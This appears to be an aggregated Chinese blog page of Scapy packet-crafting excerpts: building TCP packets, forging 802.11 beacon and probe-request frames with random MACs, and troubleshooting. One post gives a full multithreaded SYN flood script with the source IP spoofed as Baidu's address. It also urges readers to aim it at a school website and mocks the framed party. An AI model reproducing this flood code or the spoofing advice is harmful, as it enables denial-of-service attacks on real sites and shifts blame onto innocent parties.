精华内容
下载资源
问答
  • scapy发送包函数 scapy中,将Ether()看作是第二层,IP()看作是第三层 send()是发送第三层的包,也就是IP层,会自动处理路由和第二层 sendp()是发送第二层的包,需要自己选择正确的接口和正确的链路层协议 sendp...

    scapy的发送包函数

    scapy中,将Ether()看作是第二层,IP()看作是第三层

    • send()是发送第三层的包,也就是IP层,会自动处理路由和第二层
    • sendp()是发送第二层的包,需要自己选择正确的接口和正确的链路层协议 sendp(Ether()/IP(dst=“1.2.3.4”,ttl=(1,4)), iface=“eth1”)
    • sr() 函数用于发送数据包和接收答案。该函数返回几个数据包和答案,以及未应答的数据包。
    • sr1() 是一个变体,它只返回一个响应发送的数据包(或数据包集)的数据包。数据包必须是第 3 层数据包(IP、ARP 等)
    • srp() 对第 2 层数据包(以太网、802.3 等)执行相同的操作。如果没有响应,则在达到超时时将分配一个 None 值。

    send函数和sendp是不接收返回包的,如果想要得到返回包,可以使用sr或sr1

    构造带数据的TCP数据包

    #想要传输的1440字节的数据
    data = b'\x00\x00\xa6\x89\xe5\x91f\xed\xbb\xe1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00H\x006\n\x00\x00p\x00\x00\x00\x00\x00\x00\x00\xfb\xa3h\xab"\x9e\xd7\x01\xa4s\xbd\xf8+\x9e\xd7\x01\xfb\xa3h\xab"\x9e\xd7\x01\xfb\xa3h\xab"\x9e\xd7\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00F\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00p\x00\x00\x00\x00\x00\x00\x00y|\x8f\x0c!\x9e\xd7\x01\xaf\xcf\xe2\xf4+\x9e\xd7\x01y|\x8f\x0c!\x9e\xd7\x01y|\x8f\x0c!\x9e\xd7\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x04\x00\x00\x00:\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa3\x04\x00\x06\x00\x00\x00\x00.\x00.\x00\x00\x00\x00\x00x\x00\x00\x00\x00\x00\x00\x008\x00~\x0f \x9e\xd7\x01\xc0G\x1dp0\x9e\xd7\x018\x00~\x0f \x9e\xd7\x018\x00~\x0f \x9e\xd7\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\x10\x00\x00\x00A\x00\x00\x00\x10\x00_\x00O\x008\x00W\x00D\x007\x00~\x00N\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc9\xf5\x13\x02\x00\x00\x00\x00.\x00m\x00o\x00z\x00i\x00l\x00l\x00a\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00Y\xfe\xb1\xcb\x07\xd6\x01\x00Y\xfe\xb1\xcb\x07\xd6\x01\x00Y\xfe\xb1\xcb\x07\xd6\x01\x00Y\xfe\xb1\xcb\x07\xd6\x01\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x02\x00\x00\x00\x18\x00\x00\x00>\x00\x00\x00\x10\x00_\x00O\x00W\x007\x009\x00C\x00~\x00O\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00G\x00\x00\x00\x00\x00\x00\x00.\x00b\x00a\x00s\x00h\x00_\x00l\x00o\x00g\x00o\x00u\x00t\x00\x88\x00\x00\x00\x00\x00\x00\x00\x00Y\xfe\xb1\xcb\x07\xd6\x01\x87\xf9\n\xc3!\x9e\xd7\x01\x00Y\xfe\xb1\xcb\x07\xd6\x01\x00Y\xfe\xb1\xcb\x07\xd6\x01\xc1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x02\x00\x00\x00\x1a\x00\x00\x00>\x00\x00\x00\x10\x00_\x00O\x00U\x00L\x00H\x00N\x00~\x00L\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00H\x00\x00\x00\x00\x00\x00\x00.\x00b\x00a\x00s\x00h\x00_\x00p\x00r\x00o\x00f\x00i\x00l\x00e\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x00\x00\x00\x00\x00Y\xfe\xb1\xcb\x07\xd6\x01\x98 \x0b\xc3!\x9e\xd7\x01\x00Y\xfe\xb1\xcb\x07\xd6\x01\x00Y\xfe\xb1\xcb\x07\xd6\x01\xe7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x02\x00\x00\x00\x0e\x00\x00\x00>\x00\x00\x00\x10\x00_\x00J\x002\x006\x005\x00M\x00~\x00E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00I\x00\x00\x00\x00\x00\x00\x00.\x00b\x00a\x00s\x00h\x00r\x00c\x00\x00\x00x\x00\x00\x00\x00\x00\x00\x00\xfc\xc4\xb3\xd8!\x9e\xd7\x0195\xdd\x840\x9e\xd7\x01\xfc\xc4\xb3\xd8!\x9e\xd7\x01\xfc\xc4\xb3\xd8!\x9e\xd7\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\x0c\x00\x00\x00;\x00\x00\x00\x10\x00_\x00V\x00A\x00X\x00D\x009\x00~\x009\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xce/\x01\x00\x00\x00\x00\x00.\x00c\x00a\x00c\x00h\x00e\x00\x00\x00\x00\x00x\x00\x00\x00\x00\x00\x00\x00)Z\xe6\xc2!\x9e\xd7\x01G\xeb\xda\x840\x9e\xd7\x01)Z\xe6\xc2!\x9e\xd7\x01)Z\xe6\xc2!\x9e\xd7\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\n\x00\x00\x00>\x00\x00\x00\x10\x00_\x00A\x00X\x00O\x00Q\x00W\x00~\x00J\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa1\xbf\x00\x04\x00\x00\x00\x00.\x00d\x00b\x00u\x00s\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x00\x00\x00\x00\xdb\x14\xfe\xd2!\x9e\xd7\x01\xb8\x17\x8e\x0b/\x9e\xd7\x01\xdb\x14\xfe\xd2!\x9e\xd7\x01\xdb\x14\xfe\xd2!\x9e\xd7\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\x0e\x00\x00\x00@\x00\x00\x00\x10\x00_\x00J\x00U\x00G\x00E\x00N\x00~\x00F\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xcf/\x01\x00\x00\x00\x00\x00.\x00c\x00o\x00n\x00f\x00i\x00g\x00\x00\x00\x88\x00\x00\x00\x00\x00\x00\x00\xd22\x15\xc3!\x9e\xd7\x01Sa4\xc4!\x9e\xd7\x01\xd22\x15\xc3!\x9e\xd7\x01\xd22\x15\xc3!\x9e\xd7\x016\x01\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x02\x00\x00\x00\x1a\x00\x00\x00A\x00\x00\x00\x10\x00_\x00V\x007\x000\x002\x00J\x00~\x00H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd4/\x01\x00\x00\x00\x00\x00.\x00I\x00C\x00E\x00a\x00u\x00t\x00h\x00o\x00r\x00i\x00t\x00y\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x00\x00\x00\x00\xce\xed\x19\xc3!\x9e\xd7\x01\xd7\xd9\xd9\x840\x9e\xd7\x01\xce\xed\x19\xc3!\x9e\xd7\x01\xce\xed\x19\xc3!\x9e\xd7\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\x0c\x00\x00\x00?\x00\x00\x00\x10\x00_\x00V\x00Q\x00H\x00T\x006\x00~\x00E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa3\xbf\x00\x04\x00\x00\x00\x00.\x00l\x00o\x00c\x00a\x00l\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x98\'\\\xc3!\x9e\xd7\x01\x98\'\\\xc3!\x9e\xd7\x01\x98\'\\\xc3\x00\x00\x0c\x06\x00\x00\x06\x00\x00\x00\x90\x05\x00\x00\x00\x00\x00\x00\xd5\xca\x05\x00\x87X\xb2+n\x05\x00\x00'
    #用来占位的空20字节数据
    a=bytes(20)
    data=a+data
    #创建TCP数据包
    l_tcp=TCP(data)
    #调用方法改TCP包中的参数
    l_tcp.sport=445
    #组合成新的包 类似IP()/TCP()的形式
    p=IP(dst="192.168.113.128")/l_tcp
    #使用sr1函数发送包,src接受返回包
    rec=sr1(p)
    #详细展示rec返回包
    rec.show2()
    

    data的长度是1440,也就是数据的长度,如果直接用TCP(data)来构建数据包,会发现构成的包的payload只有1420的长度,因为TCP()方法会将传进去的data的前20个字节作为自己sport、dport、seq、ack等标志位的参数,所以要先创建空20字节的数据段放在data前面,再进行创建.创建完成后,再分别调用标志位进行更改

    数据包的构建基础的是new_package=IP()/TCP()
    每一层里都可以通过类似sport=1526的定义确定详细参数
    也可以分别定义IP层和TCP层 用 / 进行连接
    如果传输数据时写成IP()/TCP()/data的形式,则在wireshark中显示的数据包就不是TCP格式,而是NBSS格式

    Wireshark抓不到scapy发出的包

    1.确定发送的函数对不对,我一开始用sendp,mac地址什么都是空的,如果是想发tcp还是用从三层开始的函数

    2.将一个从网络上sniff的包保存起来,然后重新发送,也是我干过的,收到的tcp包,保存为pcap,然后读取发送,wireshark抓不到

    3.将准备发的数据包保存起来,然后用wireshark查看,有什么问题,保存的方法是wrpcap(“Packages/testp.cap”, p) p为构建的数据包

    4.从最基础的报文开始,比如先发个IP(),设定一下地址,能成功了再慢慢加参数

    展开全文
  • scapy发送无线beacon帧

    千次阅读 2017-02-28 22:53:06
    使用scapy发送无线beacon帧

    使用scapy发送无线beacon帧,伪造AP代码示例:
    代码来源:4armd博客

    from scapy.all import Dot11,Dot11Beacon,Dot11Elt,RadioTap,sendp,hexdump
    
    netSSID = 'testSSID' #Network name here
    iface = 'wlan0'   #Interface name here
    
    dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', 
    addr2='22:22:22:22:22:22', addr3='33:33:33:33:33:33')
    beacon = Dot11Beacon(cap='ESS+privacy')
    essid = Dot11Elt(ID='SSID',info=netSSID, len=len(netSSID))
    
    rsn = Dot11Elt(ID='RSNinfo', info=(
    '\x01\x00'#RSN Version 1
    '\x00\x0f\xac\x02'#Group Cipher Suite : 00-0f-ac TKIP 
    '\x02\x00'#2 Pairwise Cipher Suites (next two lines)
    '\x00\x0f\xac\x04'#AES Cipher
    '\x00\x0f\xac\x02'#TKIP Cipher
    '\x01\x00'#1 Authentication Key Managment Suite (line below)
    '\x00\x0f\xac\x02'#Pre-Shared Key
    '\x00\x00'))#RSN Capabilities (no extra capabilities)
    frame = RadioTap()/dot11/beacon/essid/rsn
    frame.show()
    print("\nHexDump of frame:")
    hexdump(frame)
    raw_input("\nPress enter to start\n")
    sendp(frame, iface=iface, inter=0.100, loop=1)
    展开全文
  • Python Scapy发送数据包

    千次阅读 2019-08-25 09:15:02
    包是TCP/IP协议通信传输中的数据单位,一般也称“数据包”。 TCP/IP协议是工作在OSI模型第三层(网络层)、第四层(传输层)上的,帧工作在第二层(数据链路层)。上一层的内容由下一层的内容来传输,所以在局域网中,...

    数据包

    TCP/IP协议通信传输中的数据单位,一般也称“数据包”。

    TCP/IP协议是工作在OSI模型第三层(网络层)、第四层(传输层)上的,工作在第二层(数据链路层)。上一层的内容由下一层的内容来传输,所以在局域网中,“包”是包含在“帧”里的。

    数据包的结构:数据包的结构非常复杂,不是三言两语能够说清的,在这里主要了解一下它的关键构成就可以了,这对于理解TCP/IP协议的通信原理是非常重要的。数据包主要由“目的IP地址”、“源IP地址”、“净载数据”等部分构成,包括包头和包体,包头是固定长度,包体的长度不定,各字段长度固定,双方的请求数据包和应答数据包的包头结构是一致的,不同的是包体的定义。 数据包的结构与我们平常写信非常类似,目的IP地址是说明这个数据包是要发给谁的,相当于收信人地址;源IP地址是说明这个数据包是发自哪里的,相当于发信人地址;而净载数据相当于信件的内容。 正是因为数据包具有这样的结构,安装了TCP/IP协议的计算机之间才能相互通信。我们在使用基于TCP/IP协议的网络时,网络中其实传递的就是数据包。理解数据包,对于网络管理的网络安全具有至关重要的意义。


    Python发送数据包

    Scapy

    Scapy是Python的一个第三方库,兼容Python2和Python3,可以用来发送各个协议的数据包,就像Python语言中的一枚洲际导弹,想打哪打哪。

    SYN协议

    SYN,同步序列编号(Synchronize Sequence Numbers)。是TCP/IP建立连接时使用的握手信号。在客户机和服务器之间建立正常的TCP网络连接时,客户机首先发出一个SYN消息,服务器使用SYN+ACK应答表示接收到了这个消息,最后客户机再以ACK消息响应。这样在客户机和服务器之间才能建立起可靠的TCP连接,数据才可以在客户机和服务器之间传递。

    TCP连接的第一个包,非常小的一种数据包。SYN 攻击包括大量此类的包,由于这些包看上去来自实际不存在的站点,因此无法有效进行处理。每个机器的欺骗包都要花几秒钟进行尝试方可放弃提供正常响应。

    ARP协议

    地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。地址解析协议是建立在网络中各个主机互相信任的基础上的,局域网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存;由此攻击者就可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗ARP命令可用于查询本机ARP缓存中IP地址和MAC地址的对应关系、添加或删除静态对应关系等。相关协议有RARP代理ARPNDP用于在IPv6中代替地址解析协议。

    ACK

    ACK (Acknowledge character)即是确认字符,在数据通信中,接收站发给发送站的一种传输类控制字符。表示发来的数据已确认接收无误。在TCP/IP协议中,如果接收方成功的接收到数据,那么会回复一个ACK数据。通常ACK信号有自己固定的格式,长度大小,由接收方回复给发送方。

    ICMP协议

    ICMP(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。 [1]

    ICMP使用IP的基本支持,就像它是一个更高级别的协议,但是,ICMP实际上是IP的一个组成部分,必须由每个IP模块实现。

    DNS

    域名系统英文Domain Name System,缩写DNS)是互联网的一项服务。它作为将域名IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用TCPUDP端口53[1]。当前,对于每一级域名长度的限制是63个字符,域名总长度则不能超过253个字符。

    开始时,域名的字符仅限于ASCII字符的一个子集。2008年,ICANN通过一项决议,允许使用其它语言作为互联网顶级域名的字符。使用基于Punycode码的IDNA系统,可以将Unicode字符串映射为有效的DNS字符集。因此,诸如“XXX.中国”、“XXX.美国”的域名可以在地址栏直接输入并访问,而不需要安装插件。但是,由于英语的广泛使用,使用其他语言字符作为域名会产生多种问题,例如难以输入,难以在国际推广等。

    简单来说就是一个将域名翻译成ip地址的系统。

    Scapy发包

    Scapy的安装可以看我的上一篇文章Python实施SYN泛洪攻击

    导入Scapy

    from scapy.all import * #使用这一行即可导入所有Scapy的函数

    构建数据包

    在构建一个数据包之前,我们先ping一下百度的网站,如果你真的是小白中的小白,不知道什么是ping的话,那么...那么...我也没啥办法,只好把这个链接送给你。

     

    我们这里得到了百度的IP地址为14.215.177.38,下面就可以干坏事了 :)  。

     

    IP(src="14.215.177.38",dst="你的目标")  #使用scapy IP函数构建第一层。

    TCPlayer = TCP(sport="目标主机端口", dport="自家主机端口")  #使用scapy TCP函数构建第二层。

    pkt = IPlayer / TCPlayer  #组合构建成完整数据包

    send(pkt)  #发送数据包

     

    上面我引用了百度的话来解释SYN协议,有一段话是:TCP连接的第一个包,非常小的一种数据包。SYN 攻击包括大量此类的包,由于这些包看上去来自实际不存在的站点,因此无法有效进行处理。每个机器的欺骗包都要花几秒钟进行尝试方可放弃提供正常响应。百度百科专门把SYN攻击这个词提出来,我怀疑其意在告诉我们,SYN这个协议就用来攻击的(淫笑中)。

    在上面这一段代码,我把IP函数中的src参数设置为百度的IP地址 :) ,src就是虚拟的发送者,这些包看上去来自实际不存在的站点,其原因就是,目标主机显示你发出的包来源于src所填写的IP地址,那么 :)  ,对面就会发现:啊!百度正在打我!(度娘:啥,我啥都不知道啊。)

    所以这时候,我们构建这样一个函数:

    def synFlood(tgt):

            src = "14.215.177.38"

            for sport in range(1024, 65535):

                IPlayer = IP(src=src, dst=tgt)

                TCPlayer = TCP(sport=sport, dport=513)

                pkt = IPlayer / TCPlayer

                send(pkt)

    然后使用synFlood("你的目标")来调用该函数。

    但是上面又说了,SYN数据包是TCP连接的第一个包,非常小的一种数据包,他很小,那么,难道我要把攻击脚本挂一年吗?(CDN提供商:你打一辈子也没用,我就是抗打的 :) )

    这里,我们有四种方式:

    1. 具有能力,购买几百台电脑,同时挂载脚本;

    2. 把脚本放到桌面,乐此不疲的双击;

    3. 使用Python提供的threading库制造多线程;

    4. 这个方法绝密,访问我们的网站或者副站(国内副站快一些)找到我们的联系方式,我们给你共享科技。

    既然4绝密,那么毫无疑问3是最好的了,下面直接上代码,不废话:

    #coding: utf8

    print("Welcome to use SYN Flood Attack Project.\n\

    Author:Leopold Fu, Qinchuan Union of China.\n")

    print("Initializing...\n")

    from scapy.all import *

    from threading import Thread,Lock,activeCount

    src = "10.1.1.2"

    class Loop(Thread):

        def __init__(self,tgt):

            Thread.__init__(self)

            self.tgt = tgt

        def synFlood(self):

            global src

            for sport in range(1024, 65535):

                IPlayer = IP(src=src, dst=self.tgt)

                TCPlayer = TCP(sport=sport, dport=513)

                pkt = IPlayer / TCPlayer

                send(pkt)

    class Main(Thread):

        def __init__(self, tgt, thread):

            Thread.__init__(self)

            self.tgt = tgt

            self.thread = thread

        def run(self):

            limit = 100

            total = 0

            while True:

                if activeCount() < limit:

                    Loop(self.tgt).start()

                    total = total + 1

                    print('Thread: %s ,Send attack package %s times...' % (str(self.thread),(str(total))) + "\n")

    t = int(input("You're Python3.\nInput your Thread:"))

    try:

        ip = raw_input("Your target:")

    except:

        ip = input("Your target:")

    i = 0

    while True:

        i = i+1

        Main(tgt=ip,thread=i).start()

        t = t-1

        if t==0:

            break

    譬如说,如果你是一个天才少年,对学校的网站十分恼火,那么,把目标IP换成学校的IP就行了(有CDN就没办法了,出了事别找我 :) )。

    这段代码可以在我的GitHub里面看到,地址在上一篇文章找,如果你懒得复制粘贴,或者CSDN里面复制粘贴有什么BUG,那你就老老实实从GitHub上面下载吧。

    推广:中国秦川联盟

    推广: 中国秦川联盟学术纲领

    展开全文
  • scapy发送80211 probe探测报文

    千次阅读 2017-07-10 22:27:41
    基于scapy嗅探性能测试脚本程序。 公司需要一个发包程序测试嗅探设备采集性能。 找个好久,发现了scapy构包工具,用Python写的,没用过Python,只能边学边用。 scapy能够自定义构造各种类型的包,最重要的能够构造...

    日行一记-2017-7-10

    修改2017-7-26 插上代码,及遇到的部分的解决方法。

    基于scapy嗅探性能测试脚本程序。

    公司需要一个发包程序测试嗅探设备采集性能。

    找个好久,发现了scapy构包工具,用Python写的,没用过Python,只能边学边用。

    scapy能够自定义构造各种类型的包,最重要的能够构造80211 prboe request报文。

    代码先不写,因为目前写得比较简单且还要 改。

    预留一块地方:

    代码已带上,新接触python写得不好,请原谅!

    #!/usr/bin/env python
    #coding:utf-8
    #this script generates high volume of 802.11 Probe Requests frames.
    #Each frame have uniq random source MAC.
    #author:heguijin 2017年7月26日15:32:18
    #You need injection supported device.
    
    import logging,sys,getopt,time
    logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 
    
    from scapy.all import *
    from scapy.all import RandMAC
    
    #my sendp function
    def my_sendp(x, inter=0, loop=0, count=None, verbose=None, realtime=None, *args, **kargs):
    	__my_gen_send(conf.L2socket(*args, **kargs), x, inter=inter, loop=loop, count=count,verbose=verbose, realtime=realtime)
    
    def __my_gen_send(s, x, inter=0, loop=0, count=None, verbose=None, realtime=None, *args, **kargs):
        if type(x) is str:
            x = conf.raw_layer(load=x)
        if not isinstance(x, Gen):
            x = SetGen(x)
        if verbose is None:
            verbose = conf.verb
        n = 0
        if count is not None:
            loop = -count
        elif not loop:
            loop=-1
        try:
            while loop:
                last_time = 0
                for p in x:
    				# '''
    				now_time = time.clock()
    				while (now_time - last_time < inter):
    					now_time = time.clock()
    				last_time = now_time
    				# '''
    				s.send(p)
    				n += 1
                if loop < 0:
                    loop += 1
        except KeyboardInterrupt:
            pass
        s.close()
        if verbose:
            print "\nSent %i packets." % n
    #main
    def main():
    	iface = 'wlan0mon'
    	interval = 0.1
    	count = 100
    	# machead='80:00:00'
    	machead='da:a1:19'
    	#opts
    	try:
    		opts,args = getopt.getopt(sys.argv[1:],"i:n:t:m:")
    	except getopt.GetoptError as e:
    		print '-i <iface> -n <packs> -m <machead> -t <interval>'
    		sys.exit(-1)
    	
    	for opt, arg in opts:
    		if opt == '-i':
    			iface = arg
    		elif opt == '-n':
    			count = int(arg)
    		elif opt == '-t':
    			interval = float(arg)
    		elif opt == '-m':
    			mac = arg
    		elif opt == '-h':
    			print '-i <iface> -n <packs> -m <machead> -t <interval>'
    			sys.exit(1)
    	print "iface=%s, packs=%d, machead=%s, interval=%f" %(iface,count,mac,interval) 
    	
    	s_time = time.time()
    	
    	print "start time:%f" % s_time
    	print "Press CTRL+C to Abort"
    	
    	my_sendp(RadioTap()/
    		  Dot11(type=0,subtype=4,
    		  addr1="ff:ff:ff:ff:ff:ff",
    		  addr2=RandMAC(mac),
    		  addr3="ff:ff:ff:ff:ff:ff"),
    		  iface=iface,count=count,inter=interval,verbose=1)
    	e_time = time.time()
    	print "end time=%f, spend time=%f" %(e_time, e_time - s_time)
    	
    if __name__ == "__main__":
    	main()


    遇到的坑:

    1.因为之前要用omnipeek抓取无线帧,我搞了专门抓包的驱动。

    然后网上找了很多scapy发送probe报文的代码,测试发现另一台电脑和嗅探都抓不了发送的报文。

    纠结1天多,以为是代码问题,换了几套代码。

    后来换了张网卡,配置为监听模式,居然就好了。蛋蛋的忧伤~~

    发包程序用一般的驱动(默认安装的驱动)就行,配置为监听模式。

    2.scapy每秒发包性能问题,在公安三所测时,他的程序每秒能够5000个,虽然是beacon包。

    而发送1000个包要1至2秒。

    可能是用虚拟机,也可能是网卡性能,或者scapy最小发包间隔为1毫秒。

    原因还没有确认,待验证。

    经测试性能主要卡在sendp函数,scapy sendp函数内部inter时间用了time.sleep函数。

    time.sleep函数,时间最大精确单位位毫秒,而且time.sleep用越久越容易产生误差。

    阻塞方式不适合频繁大量发包。

    我自己修改sendp函数,time.sleep方式改为 time.clock方式。

    ============================================================================
    报错现象1:
    Traceback (most recent call last):
    File "./pr.py", line 55, in <module>
    iface=iface,count=count,inter=interval,verbose=0)
    File "/usr/lib/python2.7/dist-packages/scapy/sendrecv.py", line 259, in sendp
    __gen_send(conf.L2socket(iface=iface, *args, **kargs), x, inter=inter, loop=loop, count=count, verbose=verbose, realtime=realtime)
    File "/usr/lib/python2.7/dist-packages/scapy/sendrecv.py", line 234, in __gen_send
    s.send(p)
    File "/usr/lib/python2.7/dist-packages/scapy/supersocket.py", line 34, in send
    return self.outs.send(sx)
    socket.error: [Errno 100] Network is down
    解决方法:
    socket.error: [Errno 100]报错,网卡接口错误或者网卡没启动导致,确认发包接口名称及是否启动。
    # ifconfig wlan0 up
    ============================================================================
    报错现象2:
    Traceback (most recent call last):
    File "./pr.py", line 55, in <module>
    iface=iface,count=count,inter=interval,verbose=0)
    File "/usr/lib/python2.7/dist-packages/scapy/sendrecv.py", line 259, in sendp
    __gen_send(conf.L2socket(iface=iface, *args, **kargs), x, inter=inter, loop=loop, count=count, verbose=verbose, realtime=realtime)
    File "/usr/lib/python2.7/dist-packages/scapy/arch/linux.py", line 406, in __init__
    self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
    File "/usr/lib/python2.7/socket.py", line 191, in __init__
    _sock = _realsocket(family, type, proto)
    socket.error: [Errno 1] Operation not permitted
    解决方法:
    socket.error: [Errno 1] 权限不够,使用root用户权限。
    ============================================================================
    错误现象3:
    网卡接口和权限没问题,执行脚本发送报文没有提示错误,但是没有接收到报文。
    解决方法:
    即使发包成功ifconfig查看接口tx也不会变化。
    首先,将设备设置为监视模式。可以使用airmo-ng或iw。
    # iw dev wlan0 interface add mon0 type monitor# ifconfig mon0 up
    必须要将监听模式接口启动, ifconfig能够看到接口,用此接口发包。
    用omnipeek抓包时,抓包信道要与发包信道一样。
    信道越接近,收包数量越多。

    如何大家有什么建议和问题的,欢迎留言。


    展开全文
  • 更多编程教程请到:菜鸟教程 ...友情链接: ... 我就废话不多说了,大家看代码吧! from scapy.all import * def syn(): scrIP = ‘192.168.10.29’ srcPort = 23345 desIP = ‘12.39.27.23’ desPort = 8
  • from scapy.all import * data="helloworld33333" ...接收端如果没有开相应的socket,接收端是抓不到发送发送过去的UDP包,只会回个icmp port unreachable报文 参考链接:scapy安装以及构造数据包scapy学习笔...
  • SCAPY发送伪装包2 实现

    2011-08-15 13:31:00
    同绝大多数的网络协议类库一样,scapy中依旧采取分层的视图来对数据进行管理。 本次的任务,由于是伪装MAC,所以需要调用最底层的Ethernet层,这个层次,上一篇日志已经获取了本机的MAC、路由器的MAC。 只需要伪装...
  • 也可以在自己的程序中使用这个模块来实现对网络数据包的发送、监听和解析。这个模块相对于Nmap来说,更为底层。可以更直观的了解网络中的各类扫描攻击行为。 相对于Nmap来说,Scapy模块只会把收到的数据包展示给你...
  • scapy-整体设计和数据发送流程

    千次阅读 2011-01-19 21:06:00
    scapy涉及了pf_packet套结字编程,路由以及面向对象设计等诸技术,它本身使用python编写,熟悉python的家伙这下有福了,可以目睹这个优秀的软件而无需下载编译源码之类的了。 scapy中到处都是class,...
  • Python发送数据包Scapy

    2021-08-12 17:33:01
    Python发送数据包 Scapy Scapy是Python的一个第三方库,兼容Python2和Python3,可以用来发送各个协议的数据包,就像Python语言中的一枚洲际导弹,想打哪打哪。 SYN协议 SYN,同步序列编号(Synchronize Sequence ...
  • Scapy

    千次阅读 2016-08-22 14:36:23
    关于Scapy Scapy的是一个强大的交互式数据包处理程序(使用python编写)。它能够伪造或者解码大量的网络协议数据包,能够发送、捕捉、匹配请求和回复包等等。它可以很容易地处理一些典型操作,比如端口扫描,...
  • python_scapy铸造,发送数据包

    千次阅读 2016-11-08 00:43:21
    本文简单演示了用python的scapy模块铸造数据包的过程,以及如何将铸造的数据包发送出去,并接受目的的回应,以方便在此基础上进行编程,分析网络数据,测试目标的机器信息。
  • scapy-协议数据组织结构与细节

    千次阅读 2011-01-20 21:49:00
    是使用继承还是使用包含,这也许是OO中永远讨论不完的话题,其受到争议正是因为这两种方式都太灵活了,让人不能轻易以一个的优点作为根据迅速推翻另一者,正是因为二者都很好,scapy则同时使用了二者,恰巧...
  • scapy函数 交互式网络分组处理模块。可以用于构造或者解码大量的数据包协议,发送,捕获数据包并匹配请求和回复。 导入scapy库 from scapy.all import * 构造数据包 简单构造 直接构造默认数据包 >>> ...
  • python———scapy库(数据包发送

    千次阅读 2019-05-25 17:56:22
    Scapy的是一个强大的交互式数据包处理程序(使用python编写)。它能够伪造或者解码大量的网络协议数据包,能够发送、捕捉、匹配请求和回复包等等。它可以很容易地处理一些典型操作,比如端口扫描,tracerouting,...
  • 发送数据包用的是scapy模块,需要先安装:apt-get install python-scapy ''' date:2014/12/3 author:yss function:send packets from host to server with multithreading ''' import threadin...
  • scapy基本操作

    2021-05-11 10:13:32
    由于毕业论文需要对数据包进行预处理(数据清洗,数据归一化等),使用scapy进行数据处理。 本文是scapy学习过程中使用到的基本操作总结。安装及验证参考官网即可 参考资源: 官网:https://scapy.net/ 官方文档:...
  • Scapy 介绍

    2020-08-09 21:20:44
    它可以伪造或解码数据包,通过网络发送它们,捕获它们,并匹配请求和响应。它还可以用于处理扫描、跟踪路由、探测、单元测试、攻击和网络发现等任务。 Scapy 为 libpcap(Windows 上是 WinPCap/Npcap)提供了一个...
  • from scapy.all import * #模拟udp协议,发送5个udp包,data部分为11,02,33 data = struct.pack('=BHI', 11,02,33) pkt = IP(src='192.168.1.81', dst='192.168.1.10')/UDP(sport=12345,dport=5555)/data send(pkt,...
  • Scapy总结

    2019-11-16 00:04:28
    基本操作 一个协议就是个类 使用时需要对其实例化 ip=IP():创建一个IP类型的数据包 ip=IP(dst="192.168.43.135"):构造一个发往该IP的数据包 ...Ether是数据链路层 Ether()/IP()/TCP() IP()/TCP()...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 2,090
精华内容 836
关键字:

scapy发送数据